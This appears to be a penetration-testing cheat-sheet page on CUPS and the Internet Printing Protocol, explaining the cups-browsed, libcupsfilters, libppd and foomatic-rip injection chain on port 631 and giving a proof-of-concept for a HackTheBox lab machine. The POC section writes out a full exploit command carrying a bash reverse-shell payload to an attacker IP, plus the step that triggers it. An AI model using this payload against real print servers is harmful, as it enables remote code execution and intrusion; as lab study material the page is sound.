IPP
Internet Printing Protocol
CUPS (Common UNIX Printing System)
It uses
UDPandTCPon Port631
Vulnerabilities
Vulnerabilitiescups-browsed, the service that typically listens on all interfacesUDP 631, is what allows adding a printer to a machine remotely. This vulnerability allows any attacker who can reach this machine to trigger a“Get-Printer-Attributes” IPPrequest being sent to an attacker-controlled URL.
libcupsfiltersis responsible for handling theIPPattributes returned from the request. These are written to a temporaryPostscript Printer Description (PPD)file without sanitization, allowing malicious attributes to be written.
libppdis responsible for reading a temporaryPPDfile and turning that into a printer object on the system. It also doesn’t sanitize when reading, allowing for injection of attacker controlled data.
This vulnerability in
cups-filtersallows for loading a printer using thefoomatic-ripprint filter, which is a universal converter for transforming PostScript or PDF data into the format that the printer can understand. It has long had issues with command injection, and has been limited to manual installs / configurations only.
POC
POCIppsechas aPOCthat is used on theevilcupsmachine fromHackThebox:
python evil-cups.py 10.10.14.6 10.10.11.40 'nohup bash -c "bash -i >& /dev/tcp/10.10.14.6/443 0>&1"&'Now, on the server select the the malicious printer and trigger the option
Print Test PageThe default path for printed jobs is
/var/spool/cups
Last updated